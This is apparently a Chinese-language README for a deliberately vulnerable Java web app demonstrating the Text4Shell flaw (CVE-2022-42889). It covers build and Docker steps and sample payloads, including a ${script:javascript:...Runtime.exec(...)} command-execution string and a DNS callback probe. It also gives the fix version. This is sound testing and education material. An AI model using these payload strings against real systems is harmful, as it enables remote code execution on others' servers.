这是一个易受攻击的应用程序,作为漏洞 CVE-2022-42889 的概念验证而开发。
为了运行此程序,你需要:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
mvn clean install
这将在 ./target 文件夹中创建 JAR 文件 text4shell-poc-0.0.1-SNAPSHOT.jar
java -jar ./target/text4shell-poc-0.0.1-SNAPSHOT.jar
这将在默认端口 8080 上的 localhost 启动一个 Web 服务器
访问 http://localhost:8080/,你应该看到以下输出
Text4Shell POC Test -@securekomodo
将 payload 发送到 /reflected?poc=yourpayload
或将 payload 作为 userAgent 发送到 /blind
示例利用 Payload
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/itworked')}
${dns:<burp collaborator host>)}
推荐的 URL 编码器用于成功演示利用: https://www.urlencoder.org/.
或者,你可以使用 Docker 来运行此 PoC:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
docker build --tag=text4shell-poc .
docker run -p 80:8080 text4shell-poc
http://localhost/
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
${dns:<burp collaborator host>)}
推荐的 URL 编码器用于成功演示利用: https://www.urlencoder.org/.
或者,你可以验证扫描工具(如 text4shell-scan)的有效性
为了使你的代码易受攻击,你需要:
commons-text 的版本从 1.5.0 到(不包括)1.10.0修复方法是将你的 commons-text 实例更新到 1.10.0 或更高版本。
Bryan Smith